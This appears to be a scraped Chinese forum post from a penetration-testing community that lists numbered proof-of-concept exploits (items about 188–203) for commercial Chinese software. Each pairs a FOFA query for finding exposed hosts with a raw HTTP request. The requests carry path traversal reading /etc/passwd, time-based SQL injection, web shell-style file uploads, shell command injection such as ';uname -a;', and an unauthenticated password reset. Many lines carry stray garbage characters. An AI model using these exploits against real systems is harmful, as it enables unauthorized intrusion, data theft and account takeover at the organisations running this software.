% x$ `, }' `  |0 G$ v/ A% q8 N9 BFOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
$ E/ [( i  |) l3 j2 C- @* cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
- o  ?$ m: U/ R6 P$ BAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

) Z+ N0 F( O& V
$ [' {# m: V/ N189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. t; \3 d# ^. tAccept-Encoding: gzip, deflate
: v* q3 i  H: _: DAccept-Language: zh-CN,zh;q=0.9
Connection: close

: ?! U8 E9 h% B
$ I4 i. C( \- D7 F190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
: x- @* J3 I& A4 zHost: your-ip
( j* ]  D9 ~9 o# a2 C, d2 r7 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
5 L. z3 _9 K8 [' G6 {

192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
$ Q0 z" i/ Q3 j! L2 f& ZFOFA：title="用户登录_富通天下外贸ERP"
6 r0 M3 }& F  F5 Q% J- EPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
3 A% w: B% d. G% q3 ~  D& EHost: your-ip
1 Y) H3 ?5 d- q$ p% d3 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
  n7 K6 _4 i" U; l( S# x. W" qContent-Type: application/x-www-form-urlencoded
1 Q! p% v& v1 j( {2 z0 h8 [! F

+ o! P/ X4 V0 V* V. d$ T- \& P3 I<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
public class AverageHandler : IHttpHandler
{
5 K/ o2 U! ?9 [- s3 _# i) o# dpublic bool IsReusable
{ get { return true; } }
3 k- |* s0 T9 q# A: \public void ProcessRequest(HttpContext ctx)
! P- k, E7 |$ U3 c0 G4 U+ Q0 ^{
ctx.Response.Write("test");
6 k9 _3 \) C; H}
( U8 Q1 I  z5 p}
9 d6 k. p: J1 x7 |8 A* h

193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
& s+ {) E+ H7 g' }. P  nUser-Agent: Mozilla/5.0


7 j0 p* k+ Z: E  m2 n' c3 W( FPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
. m; }% Z2 }! k5 U( y) j6 v4 R' Z2 ?Connection: close
9 }' z. z$ \$ a# iCookie: PHPSESSID=2333333333333;
- @6 @% t9 S* G: b/ o" DContent-Type: application/x-www-form-urlencoded
Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
1 c$ ~% u* i8 B9 p  y( M5 s
* R: J$ o9 v5 }& y1 m! O0 `
4 z" z6 [5 k; x8 m9 z, KGET /master/img/config HTTP/1.1
$ Y" ^6 q  O; b' G/ |Host:
User-Agent: Mozilla/5.0

5 Q# e1 u1 B' O+ q" U: M* X( U
9 ?7 p- \- J" I* f+ c( }, O194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

/ o5 T+ c7 n+ k* T' NPOST /servlet/uploadAttachmentServlet HTTP/1.1
! ^9 e5 K1 }, p  o1 {( ?Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
# I! Y  Q6 q! O& x1 _4 ]) h+ rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" p% j/ Y' m( xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 D9 N* N$ i: p8 ?" v$ _2 H& lAccept-Encoding: gzip, deflate
Connection: close
) P" ^) Z8 O# o& P# c; G/ BContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
1 \+ B7 e) C5 s! h* g------WebKitFormBoundaryKNt0t4vBe8cX9rZk
- j* \' \3 _% \" H6 h+ w  ]. }7 \* Q
$ j. U' E: k, {! uContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
# d( A( e( s; q3 uContent-Type: text/plain
  |0 M# Q' L9 ~<% out.println("hello");%>
9 V2 E- [3 C; K3 z2 [0 z. n: g------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
7 {9 l* S' U) ~2 K' j6 Z
- `! K% a( A1 k8 v! E8 O
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
1 r; b. i  |5 F5 }; {$ [2 S. p8 v8 VHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
; Z( J1 |- J( Y- B* y& b& vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
0 Z  s. L3 |# y& _0 @3 @Accept: */*
5 j) g( H6 R% z6 m! h/ mAccept-Encoding: gzip, deflate
4 o( _0 y4 r+ K6 XAccept-Language: zh-CN,zh;q=0.9
! e/ h' F: ~% T% H, _Connection: close
Content-Type: application/x-www-form-urlencoded
+ q$ i+ }) b/ r! m) M# ?! K6 gContent-Length: 68
' t, T- K# _( x4 k6 |2 y. X1 i
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
8 t  J3 L" h- Z2 b
) D- n* \! t  |- ^0 k
196. 河南省风速科技统一认证平台密码重置
  U: ?5 s/ _! MFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
5 V+ u% N' E- W$ N/ C; @% L% hPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
5 Y9 c! X$ b0 F8 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
: f7 s" o; j% CContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close
! y. c8 e/ p* j3 R
7 k, h0 S) }' |9 G+ l{"xgh":"test","newPass":"test666","email":""}



197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
/ ^$ d0 z' S( @' uFOFA：app="浙大恩特客户资源管理系统"
) i% B; ?. N" K: _0 o1 sGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
& V0 S4 d+ E- G% I2 H# ^Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
6 J& }  \. w: e2 aConnection: close
2 G; C- q- M/ g
6 Y, ^$ R, [4 R
$ c! W+ O$ p6 A1 j$ w6 x+ U
3 \; f3 q; x) ^2 u, i- }198.  阿里云盘 WebDAV 命令注入
, x8 K+ |2 t. q- d$ U' {, F' Z/ lCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
3 M& K% ]! I; m( v7 h' r3 kCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
5 j: w" B$ c! C9 ?7 Y! s( _Accept: */*
/ K. D% W8 d$ [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
1 [( o2 Z0 `8 f9 ]) NConnection: close
" U+ `6 x, U$ O0 ^, v
9 B- T6 ]$ \4 x& q! L. i7 {7 ?2 m
% O' w3 U- w' P5 B: J4 {, k199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
7 o# S8 A, `# t/ l& [GET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
& t+ u' n4 b1 r8 d
, Y" ]2 K+ O" g+ ]2.使用刚才上一步获取到的jwt获取cookie：

8 Z- B) u! B6 q5 Z# CPOST /auth/check HTTP/1.1
Content-Type: application/json
2 W" g$ c  {- A: ?5 P! @: d  k
/ u% t" T! p  X{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

. z5 ^) E( o  m; {6 E) s  g7 p7 Y" e响应：200，返回值:
: n5 r4 h  W; x3 b/ ~$ m3 L4 gSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
: u7 o# ^3 m7 |) ]8 b5 i3 @Fofa：title="Authenticate Please!"
5 c$ a& P% I( A; m4 ~: MPOST /assetsmanager/upload HTTP/1.1
  S% e0 L4 h2 N# h8 ZContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
5 o  I# ]3 g9 {0 ICookie: mysession=95524f01e238bf51bb60d77ede3bea92
. g6 u& _) l9 x4 J! X. r
-----------------------------36D28FBc36bd6feE7Fb3
1 }- K, N! w* P+ [1 jContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
9 w$ _9 X/ H2 q: g. B, L
5 \$ R, c+ ^3 u3 ?<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
5 m  u7 {- p# o  \+ NContent-Disposition: form-data; name="folder"
6 y# ^( c" B' q3 d
-----------------------------36D28FBc36bd6feE7Fb3--
! ?% D0 h* ~7 O
; F8 R# S0 g5 Q' Y  G
/storage/uploads/tttt.php

6 B) j& P) R3 [6 T3 f- b200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
, l  }1 @! u: u1 s6 \$ O/ lGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
# k- p; |# m  l: R1 [) d4 V7 GUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
6 l: ?3 n/ Q5 |7 O  v8 Z& \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# e/ ^  j0 w! b7 s

3 i/ b/ M  h9 X4 m$ M201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
$ F; O2 h6 l, u: V* I- |POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
2 T1 j7 w8 u- }( m) Y# VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 z2 i- O( w9 F: T+ E: WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ M; y# D/ C8 e7 ?  L: qConnection: close

2 E+ v; E: @0 `# k/ Z" BTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


8 \. M6 o+ q9 t7 W6 V8 J0 u202. 微擎系统 AccountEdit任意文件上传
( K& O; C% Y0 `. W, bFOFA：body="/Widgets/WidgetCollection/"
: g, ]' d& n& d9 D* ~9 O获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
4 X" T2 m5 E# yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
  c6 h0 j" _* r3 |0 b: G' w9 c
- q) I. E: o8 K2 K5 P( N. N% N
替换__VIEWSTATE和__EVENTVALIDATION值
6 A8 e; I8 M/ E- @; O$ bPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
) t" M6 f/ G. S6 U: N7 `
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
  }( d; o" V& J2 q; t  `Content-Disposition: form-data; name="__EVENTVALIDATION"
4 ~6 s2 x2 E, D7 x
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
* D5 p( h" V! Q  K7 K9 s! E3 ~Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

Hello World!
-----------------------------786435874t38587593865736587346567358735687
! |" |: u; j1 A& w9 f# iContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
2 n; k, s( z- s7 SContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


-----------------------------786435874t38587593865736587346567358735687
  i! A0 F3 F) P, B2 EContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

: e6 i; n: ^0 M( T6 W$ W
9 a8 R7 r9 Y2 |% J* E-----------------------------786435874t38587593865736587346567358735687--
  X( M+ M  B+ n8 s: \
9 w8 |0 A& \+ B- X
5 w- H4 a" m% t/ a8 r/_data/Uploads/1123.txt

; R3 i7 D# s2 b6 E( F+ Y+ y: Z203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
% L1 {* p( j! b# e3 h/ L- H/ p- lHost: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! Z  J+ `2 j: o, L& I$ d) \% K- QContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

9 G' F8 }. V, E6 Q$ H------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
4 h7 Y  E8 ~* \Content-Type:image/jpeg

! S: Y$ i" r8 t% [- l<% out.print("hello,eHR");%>
3 u  `' \8 i# Q7 N------WebKitFormBoundaryt7WbDl1tXogoZys4--
3 w  S. T' e5 p2 \7 U2 m


2 H0 H/ U9 v8 j7 O2 `, ~. s


# \$ R& w8 @4 t$ ^: |

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2